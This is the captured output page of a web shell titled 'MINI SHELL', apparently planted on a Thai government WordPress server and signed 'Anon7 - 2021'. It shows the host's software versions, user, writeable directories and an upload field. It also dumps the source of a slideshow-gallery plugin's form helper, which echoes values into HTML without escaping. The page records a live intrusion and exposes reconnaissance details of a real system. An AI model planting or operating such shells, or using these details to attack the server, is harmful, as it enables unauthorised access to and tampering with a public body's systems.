MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/blog/wp-content/plugins/slideshow-gallery/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/blog/wp-content/plugins/slideshow-gallery/helpers/form.php
<?php

class GalleryFormHelper extends GalleryPlugin {
	
	function hidden($name = '', $args = array()) {
		global $wpcoHtml;
		
		$defaults = array(
			'value' 		=> 	(empty($args['value'])) ? $this -> Html -> field_value($name) : $args['value'],
		);
		
		$r = wp_parse_args($args, $defaults);
		extract($r, EXTR_SKIP);
		
		ob_start();
		
		?><input type="hidden" name="<?php echo $this -> Html -> field_name($name); ?>" value="<?php echo $value; ?>" id="<?php echo $name; ?>" /><?php
		
		$hidden = ob_get_clean();
		return $hidden;
	}

	function text($name = '', $args = array()) {	
		$defaults = array(
			'id'			=>	(empty($args['id'])) ? $name : $args['id'],
			'width'			=>	'100%',
			'class'			=>	"widefat",
			'error'			=>	true,
			'value'			=>	(empty($args['value'])) ? GalleryHtmlHelper::field_value($name) : $args['value'],
			'autocomplete'	=>	"on",
		);
		
		$r = wp_parse_args($args, $defaults);
		extract($r, EXTR_SKIP);
		
		$this -> debug($this);
		echo $this -> Html -> field_value($name);
		
		ob_start();
		
		?><input class="<?php echo $class; ?>" type="text" autocomplete="<?php echo $autocomplete; ?>" style="width:<?php echo $width; ?>" name="<?php echo $this -> Html -> field_name($name); ?>" value="<?php echo $value; ?>" id="<?php echo $id; ?>" /><?php
		
		if ($error == true) {
			echo $this -> Html -> field_error($name);
		}
		
		$text = ob_get_clean();
		return $text;
	}
	
	function textarea($name = '', $args = array()) {		
		$defaults = array(
			'error'			=>	true,
			'width'			=>	'100%',
			'class'			=>	"widefat",
			'rows'			=>	4,
			'cols'			=>	"100%",
		);
		
		$r = wp_parse_args($args, $defaults);
		extract($r, EXTR_SKIP);
		
		ob_start();
		
		?><textarea class="<?php echo $class; ?>" name="<?php echo $this -> Html -> field_name($name); ?>" rows="<?php echo $rows; ?>" style="width:<?php echo $width; ?>;" cols="<?php echo $cols; ?>" id="<?php echo $name; ?>"><?php echo $this -> Html -> field_value($name); ?></textarea><?php
		
		if ($error == true) {
			echo $this -> Html -> field_error($name);
		}
		
		$textarea = ob_get_clean();
		return $textarea;
	}

	function submit($name = '', $args = array()) {		
		$defaults = array('class' => "button-primary");
		$r = wp_parse_args($args, $defaults);
		extract($r, EXTR_SKIP);
		
		ob_start();
		
		?><input class="<?php echo $class; ?>" type="submit" name="<?php echo $this -> Html -> sanitize($name); ?>" value="<?php echo $name; ?>" /><?php
		
		$submit = ob_get_clean();
		return $submit;
	}
}

?>

Anon7 - 2021